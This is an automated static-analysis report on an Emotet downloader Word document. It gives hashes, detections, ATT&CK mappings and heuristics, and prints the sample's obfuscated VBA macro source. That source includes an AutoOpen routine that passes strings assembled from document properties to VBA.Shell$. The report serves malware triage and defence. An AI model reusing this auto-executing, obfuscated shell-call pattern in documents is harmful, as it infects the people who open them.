Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ef38926f1932b370…

MALICIOUS

Office (OLE)

74.5 KB Created: 2017-09-25 11:07:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 3647353cdbdb77ea002616f4c02fe762 SHA-1: 17803b316214b1ba0889aabc2b33ff473aac454b SHA-256: ef38926f1932b370abe835b38c51b806d4282e420ee06b312d9a2a25c446cf44
172 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6344335-3. Static analysis reveals the presence of VBA macros, including an AutoOpen macro, and a critical heuristic firing for a potential Shell call. The extracted VBA script, though obfuscated, indicates the use of Visual Basic for scripting and likely attempts to execute shell commands, consistent with a downloader's behavior. The Emotet family is strongly suggested by the ClamAV signature.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6344335-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6344335-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     'txghATcZCwXVBrcDZkRwsbLbNSxuCvcxAMaXNENzceGPhzDvSDDSAWWkUZKCYEXsCTea
VBA.Shell$ "" + abbuhmNSfRs + VNAesXg + yDbpWaDxs + aAruCSzuUVs + TZpESNvaMg + FcMppSBB + kuKgfEuN + SFTPcMZZaPL + sLgrsKMmWt + XvwhEZEr + axzhMLXvD + UWwALThNhH + fHPXgnrSr + PAvasVyw + ActiveDocument.CustomDocumentProperties("zdvYUaeedkR") + ActiveDocument.CustomDocumentProperties("DbnpUPMKE") + abbuhmNSfRs + VNAesXg + yDbpWaDxs + aAruCSzuUVs + TZpESNvaMg + FcMppSBB + kuKgfEuN + SFTPcMZZaPL + sLgrsKMmWt + XvwhEZEr + axzhMLXvD + UWwALThNhH + fHPXgnrSr + PAvasVyw + ActiveDocument.BuiltInDocument …
'pSzhgduhTZDekvzpvunBzmcYsmnZaHfLCWSFNRPNMrUmzSnXCfvzmBmbxyHXarazc
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
ffPGKHeKPS
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7443 bytes
SHA-256: 25605cff4d95b76288bd65eec4630ead062cd63a7217c9f2312df6a1ac390bb9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
95 of 158 identifiers look randomly generated (e.g. 'tDucTuWkgnrKbKNHfWDEdSRntpHHmXwYHUNuVzcv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
'XuyXwACMncTaKgRhFhKfwVSBHyKnBmmSVwxpbCLgSGRTMVzUvZwUCgCxup
 'HPDaXLauPFEXbTDbxKRKyXAdPbRxcSTTFFNEDPNVhaMYzvzTaUagURXFgzDBBzWzUf
 'zLVgvsPUBVvtfDWkFFTDRMeLRPExuUxutNUsMgbPaaMhrdBDUaxNpKvxLE
 'pWeBrGdhYXYwUDCgwVvhdbpgEFDBvaZdnMArkmdDYALCkXpnfXnvDXSVWhHsxL
 'kYKAWdFVXEsXhPSztxpWPpXMuacDHYwSaWeMZmfpTPZkLwDnrAHacDrUAgpsMh
 'PwmAPySbsZYHxXrksuBDMfcYvBVhNPVwHnfSGZDgnrSCthyFYXKADVYnzHDBxzfgTKDB
 'hFBBMDyuAHWyFHrDsuKDWEuvfPEPKfveTTTZhPMfkgnKUKKAvmwBDUXmGVNtgDu
 'GAVazMWechGfZRVKRkLyHdSNPbYUMReAasFHhwYrMRGmCXLBrtDpUkxAvWYy
 'XspcykrYWdeSCRtuErDcwxSEGNRZfZabPLkpYuZyEvvPUaynmmgNUHtSwwXgH
 'sXHctWSMTEpLFHAMVVcAYwnSRGrfGNRHhsTVFsvPegBNWGLvfkbgcErWVuZmpYAxP
 'AWUuuvDfLxfwuBvkWvyzHYswmbBDfwByGVfnChevRVMzFzyZRumkbSGxrygBWnxkMkz
 'msgXHZMWTtbErKZLdHMTxbXSwNKLwshGLrUvBFFNXEervNdYTZCHwrbt
 'gYXNELfUEcRBapMXFDazmbkSBzZuxSrEkHUGSYTWhaxuagSWAFWAeTbAwHBanR
 'WsVGfShFGxkNbrsNVaDsWBXkPtpnMrEKRfXYfMHnVSSdMKcvxRXfbnutLPTYdkd
 'YUSeKnVcSdVzyXNbCubTegFHYEbhrWwnGfmkLLLWnSCmTLRSCNAcwSxUNPXdD

Sub awE(MbxOzcjf2)
   On Error Resume Next
   If JjyT Xor YUT Then
      For dQiO485 = 8611 To PkY
         uvTvT93 = (mMAr9Pj67 - Sgn(26) + (18 - CLng(297233393) + 36 * Log(WnVGsAl1) * 48 / CDbl(46 * CByte(IRqn9Vu) + aGZJ42p0 - ChrB(9 + Oct(4) - eCnNdo / Atn(ckRF27))) / (5319 * nDmMp89)))
      Next
      ElseIf uXyJ89r7E <= GAaP Then
   End If
End Sub
 Sub rQWF(XwafZF22)
   On Error Resume Next
   lFCJ0 = 57934924 / 3 - iDQtc6x35 + mNN * (9 - CStr(AmAFs7) + FoaY * Chr(cWfw08)) + (509967112 / CLng(ibgT77))
End Sub
 Sub eALg9(jFrUe505)
   On Error Resume Next
   Set otm = 895
   Set UqZo = uPWv52k
End Sub
 Sub OCwb31()
   On Error Resume Next
End Sub
 Sub YeHw60z()
   On Error Resume Next
   BxivR = EaAZ789 * FzZve8Y3
   Set JBhbx = nCWA964S
End Sub
 Sub iFsr985u()
   On Error Resume Next
   If pJZZYe0E > rxic6wb Then
      Set sIh = dfXLq
      ElseIf mvERG9 Eqv ZKsreBj Then
      Set kotpo7oO = 927
   End If
End Sub
 Sub vQg()
   On Error Resume Next
   gnqRo0v = 422423051 / egnn5545
   qkWeFX = 246
   Set BRC = tHLng
End Sub

Function ffPGKHeKPS()
'EdPVuhcYKsuLfURkbTKbXASAVtEbsGVuwzPnkNtNhwLasNZpaTNxhngWVS
 'dapdDpbuuWWHXNdtKWepesDTAauTUpXWcNZPXPZNtNGyuvLvFKCLbMxzhwUNSUKpW
 'fTczGLyEsPnmbvABVdDVwTmUtsYwdewTPsZXDRdthCYLmaFAAKxTukWcUptDXFLL
 'rGCXaLUayEvYByYzfpYBAdNdsezaysBAKUBavCCntcvtZxsYGstAmHnYykN
 'MgkmhwGhxZERFVDBgSdPdHdmCYTLctBfVguyswZLpZHdUEvvmySAaeXUyeAy
 'RXPRLnSLZPmBEUaPXtngZEaHwsEBccKkULsMfzhbyrHLyWwhyMzehFVLwrLBbA
 'paCgsWkFkMFbNRUvMUUNBFAEUGPYbnXTCwMAgSSAUeNmcmDanZHYKedyLNgC
 'gXWuYpvAptBzdfaEUEreHzZgEUedfBVRvnLGyWFuaxdWXVkHXZWGTpTkx
 'xnFATWragHMGLvyAKxbySDhLSZbSbLNwsdMvEYbyGupNMZsTTddbDDUbshWawe
 'wGwywBxyvLdUdSGnyxHkSupdHUFANEgbeEdxZESvXyHSszwYrTUxFaBsCfWbeALeWaK
 'ugLvAXAcaVuLUnnXccLdtwSLNWUYSTzVbKpxegtfwcYSzrwVXPBWhnWXAYbVymKV
 'bNAutVxedHaVNHcKyxtrPXYuZzrPmXgHYYWLshErxpsgeEaHfhLwatvNRYvGzKXWuFepW
 'CKVMvVZXTmDUwprCSyVUXMfMkyuLPHyACAEFkHubHbdaAczaLvywxZFAhuUdkAehBNXAh
 'zGpHWykdEDwzLNapWexxNvkPNfegGXyCgXfTNfGLRgHkNrtzgrtvEHXWPHUe
 'rmuhpmdPKWGMUvetTLbdXTDKxBcPdwwckmUPdybAFxUpddZDwhZzZKpyEfh
 'LdPFpCHUryETPaSPMTebvuAceMPzFXPkuhBKdsHPugHXCuhEUUrbHMSNsbF
 'wscNhfuLDKzVCdZpHAAcfZudEwTBWUnEeAYVfnDksZABTSPHpdTLpNbwdhrxp
 'NLETwBfbfCgVzmaKrmWrPdBBaSaNUHudWWNmBdphmBmdyFwVbbKWpNcyzXBLBw
 'UANEHRMbteMakMTEdrzcFfXaavdyrPrvwnUHNAgMPHStrUWvnFxwpprgKRMueTApL
 'PzmnDDfpnEWkFRdPMfSEUYHBtdYPWGwYcnYkfxGPPFFsvWrBMbtfkshPeVzMAke
 'txghATcZCwXVBrcDZkRwsbLbNSxuCvcxAMaXNENzceGPhzDvSDDSAWWkUZKCYEXsCTea
VBA.Shell$ "" + abbuhmNSfRs + VNAesXg + yDbpWaDxs + aAruCSzuUVs + TZpESNvaMg + FcMppSBB + kuKgfEuN + SFTPcMZZaPL + sLgrsKMmWt + XvwhEZEr + axzhMLXvD + UWwALThNhH + fHPXgnrSr + PAvasVyw + ActiveDocument.CustomDocumentProperties("zdvYUaeedkR") + ActiveDocument.CustomDocumentProperties("DbnpUPMKE") + abbuhmNSfRs + VNAesXg + yDbpWaDxs + aAruCSzuUVs + TZpESNvaMg + FcMppSBB + kuKgfEuN + SFTPcMZZaPL + sLgrsKMmWt + XvwhEZEr + axzhMLXvD + UWwALThNhH + fHPXgnrSr + PAvasVyw + ActiveDocument.BuiltInDocumentProperties("Comments") + abbuhmNSfRs + VNAesXg + yDbpWaDxs + aAruCSzuUVs + TZpESNvaMg + FcMppSBB + kuKgfEuN + SFTPcMZZaPL + sLgrsKMmWt + XvwhEZEr + axzhMLXvD + UWwALThNhH + fHPXgnrSr + PAvasVyw + rUZkPux, 0
'pSzhgduhTZDekvzpvunBzmcYsmnZaHfLCWSFNRPNMrUmzSnXCfvzmBmbxyHXarazc
 'FhVfVaDWKGpZYdxeNbSxcHzNtnXrCFDYBfaeMyBYgrbbEfUBTRxKpLcUDsppb
 'PwHpbSWLfCtrzHKRYCTydXkWZEGVzmKWLEssfNMedBVTSkCEcpLYfgDTeNzSmrEW
 'VNUKtfSpGFfPUGTtZdYKsTtWbmVzaDrYNPrHmBeeXFKTuBtCHVZVZfnMPhH
 'mXncUyshcvxhsdrEAuPKcskKUGpdFuuUrvYYKPZbuVcSmTdSbpEMU
 'mEDVPxTvfUzemFvxAVpWSsVGTzXBdGuMraDnVDkrRtmLURmDRmZknXaSdr
 'WZbwHmwRdDurVSkfNzFSXZNwBhyUzxzZDhXKKNVXVEWkCyCfvZFYsELryC
 'LBswTppxVKgwnTAmCLWfpTBnSrWKXHAsCApbevTXbvfSNXVwEKxSgwhcAYWEsXayGDKk
 'cEXETdvpmVCAnkBCvhUWMGMPZYpvaTYreRSveHXBpazLKPvEWWENnBaAggts
 'cbcDsZzArrpbbKuScxkmmeYVSgAsgMtHpcydGgMyEBWPNmHhbLwrDnwZsHdGzFksMW
 'cLWfBgcSpPhUWMNGNYFgbDYnVDDDsenuNdRaaxrFsNhFKEcPXnfyUxPcUszzPhsXENt
 'BXmHBWckHTxwszsryGsdekFssSnvNHYDtvWyCDskCeSUZktRrGfEsCErfMZUwGABL
 'csGFGtgeSzrhFvtYMfgXmtYmEzDgxXWfpKCwUfuDzNrdkbMhEWPeRuTWkatUTWut
 'tDucTuWkgnrKbKNHfWDEdSRntpHHmXwYHUNuVzcvLkwKLURwwHvrTNVbTYzvDyvrHUHbxkW
 'WmtZWndeZNCpUxmamKMHgdeyRuLTNxaDehCmWGWrTzsvRrugDcGKxaebwpPSvrnM
 'pCCLAtkgxaxNdFNPpUkKhPEpbzhxpAvvTDXZPFWgRKWKrpbYZCwwGDhhxcK
 'PnDYWSUdGnKCMCFTmYnhmLZNmHNgBDTprcbmFCWdTLRfzkrLNRbuuhWVxpSfgcb
 'hWSHNSLMbLsDaDcsfveCskDzhNwbpCZyKgBxskRTrkvtbDNLYHsvtWhm
 'UZhtZZfHVAWKbUyBsxunNyxZMxVvfVyPnUCnegMYxHaRADAntspwMUAbkzUbAn
 'cHkmttYEwEEYvnksfBCsZkpFXSsLhntsYAdRSZRuMVuEzATdmcutKGuWpFCzDhy
 'cTgxLxaHhEfEZRZFZpmDAcaBEgvTvVKvXyMDwUhtHnabSxkgFmTwtnUmdvzktLHNU
 'mXeUFSnZWWWNLYFTgTRVLCWNsEnTAfSmvtcyBBzHSyRUwWPbWkAYAuMfDVDAhcyvkvpUSn
 'kHcHsKNHndaSTVZxFHGzLRHvZNgPXgGkwbzAGuAhBYdFeGRBaRySRGdMRKKdLe
 'amVraytcZzBwNaWMDmHDNfFnnMLCvfRakMTudHDkRXraTaGEUwKAZVfLwnv
 'ykVNVREfKgcChBzNdFgKuBRZCzVstBREBuwEkaueKwuPKdutRDUEHMsKLDgw
 'YkmSDMatEmHgrFRHzBVnAEFcuUnyVGVbpMWSMAVfChgkrPfeCvyVSTrfWnwnbCBZ
 'YBvTrHeFMBRhKMmsEuCRkBDdKBgWuxcHNLAUuCMHvGGTCAzGVpbeseFAzD
 'mvdNwDcGCALrEhsXKsLNTwgKzEKwxTyZTskKsAbBDKkSrdWtPnzFPBZBCaSZakXe
 'DWgBRvdWfxFkCxypUuYCPuFEKehrDzfVTuYFsNGRBeYmSaYtvczChDpHsnLALtn

End Function
Sub WtXi965f()
   On Error Resume Next
   For cPAnm = RedH2q To 99
   Next
   MiM = (jvrs99wh / CInt(158809204 + ChrW(518316429)) / (674 + Fix(78)))
End Sub
 Sub jelKx0dfe()
   On Error Resume Next
   Set qfh = Acai83
End Sub
 Sub xpam(cqfPP)
   On Error Resume Next
   Set xYDP = 18
End Sub
 Sub GqLg(KUxjnZ454)
   On Error Resume Next
   qozd = 29369787 + RrXm2
   CxlX12oR7 = ozDx + KUN
End Sub
 Sub QSwb7(fGOg3)
   On Error Resume Next
   Set FsxeU368 = USS
   FNfn36kYH = 3 - Int(ZaC) + ldZpr3 / mGPp8
   cvH = CBool(IlTCfS)
End Sub
 Sub DCLDwvp()
   On Error Resume Next
   iysO23DW = qBv + 194471804
End Sub
 Sub neWXlDTw()
   On Error Resume Next
   For TCrD3 = Syk To 2363
      jrQR = gnxuN388 - Sgn(2) / bpWjd70 * Tan(cFNzf099G) - giku8ze + Int(qBTNy) / nWkd0p + Fix(190507026)
      gRhm241 = ChrW(Kvh - Hex(Qkbjj))
      Set srnnn9951 = bJun
   Next
   zix = 62696530 - ZUFvoKm7
End Sub

Sub autoopen()
ffPGKHeKPS
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.